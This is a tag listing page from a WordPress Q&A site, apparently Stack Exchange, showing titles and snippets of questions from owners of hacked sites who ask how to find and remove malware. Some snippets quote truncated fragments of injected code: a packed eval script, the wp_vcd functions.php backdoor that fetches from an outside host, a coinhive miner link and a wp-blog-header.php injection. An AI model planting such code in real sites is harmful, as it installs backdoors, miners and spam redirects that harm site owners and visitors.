Questions tagged [hacked]
About web sites before and after a security breach. If you need this tag your question is probably off topic.
0
votes
1answer
16 views
Spam pages hack? [on hold]
A few days ago I noticed a few blog posts on my site that were spam and I knew I had been hacked. I did a few things in an attempt to clean the hack (Wordfence deleting unknown files, securing the ...
0
votes
0answers
22 views
Site Hack! Please help! Privilege escalation of customers to admin role for woocommerce [on hold]
All plugins and WP core are updated to latest versions.
Users with the Woocommerce role of customer are able to access the dashboard as though they were admins. Users with customer roles can add ...
0
votes
1answer
24 views
how can i find malware code and remove from wordpress site to stop it redirecting to hackers click view pages
how can I find malware code and remove from a WordPress site to stop it redirecting to hackers click view pages
0
votes
1answer
26 views
Check for malicious code?
I have searched around and seen 'what to do if your site is hacked', and I'm not (necessarily!) looking for a plug in. The site I look after was hacked a while ago and I think all is well now. I ...
0
votes
3answers
55 views
Why would a hacker add this code to each post, and how to do mass cleanup?
Here is example of code I have seen inserted in two different posts:
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){...
1
vote
1answer
20 views
New user is assigned 2 roles: customer and superadmin
I've a question about user role in WordPress.
After new user already registered. They can access with superadmin and customer role.
They can access to /wp-admin/, create blog, etc..
For my ...
0
votes
0answers
22 views
Help determining if the following are legitimate files
I have installed wordfence and did a scan and I have the following warnings. I am not sure if they are left over from a hacking attack last year that sitelock have not removed or if they are required....
3
votes
4answers
2k views
Is this a hacking script in function.php?
I have code like below in neve theme WordPress. I feel suspicious about this code
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/...
0
votes
1answer
22 views
Is there a simple way to set wordpress site files back to out of the box?
I have an amateur wordpress site for a club which seems to have been hacked. With some help on here I have undone some of this but I've still got quite a few problems. Mainly I can't get into the ...
0
votes
0answers
19 views
How can I ascertain that my previously hacked WordPress site are now free of malicious code? [duplicate]
I am almost certain that someone cracked my FTP password using Bruteforce attacks. After that, they injected malicious code in my 3 different websites. Two are hosted on WordPress and one is entirely ...
0
votes
3answers
41 views
My blog was hacked? WP posting random posts
I have been searching at this site posts about blogs being hacker, but I haven't find something like this.
One of our Editor's account has started to publish random posts. Our first thought was his ...
0
votes
1answer
26 views
Have I been hacked - getting new site setup email for 8 localhost wordpress sites
I've just found some emails in my spam folder saying a new wordpress site has been set up on my local server, for 8 already existing wordpress installs.
I'm assuming its been hacked but am not 100%. ...
-1
votes
1answer
33 views
Is my WP site being hacked?
In the past month or so I've seen 3 or 4 new users signing up each day with "awkward" usernames (letters/numbers). Then, a few days later, they start changing their password. And then a few days later ...
0
votes
2answers
22 views
Open content directory help!
I just found out tha I have a wp-content directory that is open where you can see all of my files that I have on mysite- pdf's, jpgs, etc. Files that are meant to be for members only as well....all ...
0
votes
1answer
62 views
Some one is trying to hack my website, Need guidance [closed]
There are multiple IPs that are trying to access my directories. I am using iThemes Security plugin and it shows the following lists.
These are the files all of the IPs are trying to access every ...
0
votes
1answer
102 views
Site Hacked - Wordpress Divi Site - Cannot find where to fix the issue? [closed]
I need help trying to find out where to look to find out how to get rid of an issue on a wordpress site I manage. If you go to http://www.thedailycrave.com you will see if you scroll down to the ...
1
vote
1answer
2k views
You appear to have already installed WordPress. To reinstall please clear your old database tables first
My website was crashed by hackers and i am trying to restore from my backup.
i have deleted all old files and trying to restore from the backup. i copied all my WP files in public_html. after ...
-1
votes
1answer
180 views
WP Site Hacked, Serp Google Spam [closed]
It all began when Google Ads suspended my ads because they found a malware in my WP site.
I tried to do scan with some free plugins: Wordefence, anti-malware and Securi, or online tool like: sitecheck....
1
vote
2answers
45 views
Unfamiliar query string in Google Search Console URL not found
An old client site was hacked.
After deleting the old site and rebuilding a new site, the Google Search Console has quite a few (50 or so) URL not found with this address pattern.
/category/...
1
vote
0answers
57 views
How can I find security hole in my wordpress site?
Last day I've noticed that my site is hacked and a PHP backdoor is installed on my site.
Virus scanner reported that a plugin file is inside my wp-content/uploads which I did not upload it myself. It ...
0
votes
2answers
554 views
What does this code do? (Injected code hacked)
This code below was been injected in my wordpress theme on functions.php
Can someone explain me what does the code do? how that was been done?
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(...
0
votes
1answer
365 views
malware in wordpress installer on dreamhost. <link rel='dns-prefetch' href='//coinhive.com' /> [closed]
I was trying to create a website.
It is live. And you can see that there is a malware which google detected.
In the source you will see three lines
<link rel='dns-prefetch' href='//coinhive.com'...
-1
votes
1answer
28 views
How to remove content from hacked pages? [closed]
My WordPress/Woocommerce website was hacked and I ended up with a video category as well as urls to dead internal video links on the admin user's profile page. (I have attached an image of the user ...
1
vote
2answers
176 views
Strange gibberish JavaScript in Editor – site hacked?
A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to ...
0
votes
1answer
30 views
Where I can find a list of Wordpress security risks?
I'm working on one project where I need to find a list of different security risks or malicious codes which were used by hackers nowadays or in past.
I can go and search one by one, but it will take ...
0
votes
1answer
481 views
wp-config.php modified?
This might be a broad topic but I am searching and reading but not able to clear my doubts, please advice in answer or links from where I can understand about how codes are injected to WP by attackers....
1
vote
0answers
38 views
Hacked site. Fixed. Nailing down the cause [duplicate]
One of the sites I manage was hacked, basically the hack consisted in redirecting users to other external webpage (sort of advertising spam malware).
I have moved the hacked site to a staging site ...
0
votes
4answers
6k views
My Wordpress website was hacked
Today while working, I had tried to install Go Pricing Plugin from this website.
https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/
It was unsuccessful at ...
0
votes
1answer
271 views
Replacing nav-menus.php file with standard clean one?
I am a self-taught wordpress website designer so pardon my possible ignorance.
A few sites I had worked on for a client were recently defaced by an Indonesian hacker group (fun!). The client had not ...
0
votes
3answers
2k views
Increased CPU load due to admin-ajax.php spam
I experienced that my server received a 99% CPU load and the site goes almost down.
Checked the access log file and there are tons of following entries:
203.115.XXX.XXX - - [13/Oct/2017:12:40:01 +...
0
votes
1answer
52 views
Find and Replace text in the entire table using a MySQL query
Website has been hacked and they have injected javascript into every single post, page and product (woocommerce) - Editing every page manually would take for ever, we have over 3000 posts.
Is there a ...
0
votes
1answer
66 views
Can't access htaccess [closed]
my htaccess have chmod 444 and it's not possible for me as admin with ftp access to edit it. Also if I'm disabling all wp security plugins. When I'm change the chmod to 644 or if I just remove the ...
0
votes
3answers
77 views
how to find the way they hacked my WP site
Last night, one of my clients' sites was hacked.
The only thing that's been done by the hackers, as far as I can see, it that they changed the content of the index.php file to theirs.
The fix for ...
1
vote
0answers
53 views
How can I safely hide the fact that my website runs on Wordpress? [closed]
I would like to hide the fact that my website runs on Wordpress from potential hackers. Is there a reliable plugin that I can use, or an online guide to doing this, so that a website visitor would ...
-2
votes
1answer
58 views
My site appears to be hacked [closed]
My site appears to be hacked. When I log on to the control panel http://www.elqanah-news.com/wp-login.php it gives redirects
2
votes
1answer
117 views
Hacked WordPress website, as notified by Google Search Console, what to do? [closed]
I just received a second email from Google Search Console, that one of my websites, Emma&Nala Jewelry was hacked. In the email, they have sent two URL's that they found to be "suspicious":
http://...
1
vote
3answers
292 views
getting casino links on my woocommerce site [closed]
i am getting various casino links on my site, i have searched everywhere in the files in my database, but i can't locate the issue, these links come and go they mostly appear in the header and the ...
-1
votes
1answer
974 views
How to stop repeated hack on header.php of custom theme? [closed]
Noticed some unwanted files on the website root folder and removed them.
I have found that header.php file has some malicious code which redirects to spam sites only on mobile browsers.
when these ...
0
votes
1answer
35 views
Replace domain in database
My site is attacked, so basically all the core php files are corrupted and broken. Only the database is left.
Now I tried in my localhost.
If I want to restore my site from this database, is domain ...
0
votes
1answer
3k views
How to locate & delete hidden pages on a site
Basically my friend has a custom wordpress site which was hacked recently but apparently the dev cleaned it up (said it was a server hack and that all their sites were hit) and filed a reconsideration ...
0
votes
1answer
4k views
looking for indoxploit hack solution [closed]
On our WordPress powered website we have only 1 user:
ID: 1
username: is not admin
WordPress working with latest version, theme and plugins are all updated to the latest.
username and password is ...
0
votes
1answer
310 views
Hacked Wordpress website /Homepage redirect
I am very sorry about the length of the post, please bear with me as I am going to try and list everything I've done so far.
I am dealing with a hacked WordPress site which had been left without ...
7
votes
5answers
4k views
WordPress site hacked. Has .htaccess been hacked?
I'm trying to clean up a WordPress website that's been hacked. I noticed that the .htaccess file has some suspect looking regular expressions, but my regex skills are pretty weak (time to learn I ...
0
votes
1answer
51 views
Admin user lacks admin permissions after hack and can't reinstate
My site (4.5.3 on Apache/Linux) was hacked, I suspect something like the one described here. As best I can tell I've removed or at least disabled the hack, however admin users aren't able to perform ...
1
vote
1answer
78 views
Wordpress Footer Missing After Website Hack
My wordpress website has been hacked, once recovered i can't seem to view the footer. I have checked the theme options / widgets and the settings seems fine.
Kindly advise on possible causes and ...
1
vote
0answers
126 views
wp-admin folder removed by hacker [closed]
My website got hacked recently & i can't login into the admin panel, the hacker removed wp-admin folder in root. Now when i try to login, i get too many redirect errors.
0
votes
3answers
6k views
How to find the backdoor of the hack
Today one of our clients' WordPress sites was hacked which is hosted with amazon aws ubuntu.
Issue is https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html
The js code is injected in all ...
0
votes
1answer
43 views
Is the current spate of hacks related to the recent security fix?
There has been a rash of hacks over the last week. In each case the content of the post has been edited with either an infantile "hacked by" or a political message.
This post https://codex.wordpress....
0
votes
1answer
362 views
Why functions.php file automatically empty in my wordpress websites?
In many wordpress websites functions.php file automatically erased. I check every file. scanned files on server but no file is infected. After a interval of time website response white page, when i ...
2
votes
2answers
525 views
How to prevent bot or someone to modify any file automatically?
Someone modifying daily our website file wp-blog-header.php.
They are adding below code which generates unneceassy pages automatic in our website, Code is :
$e = pathinfo($f = strtok($p = @$_SERVER["...
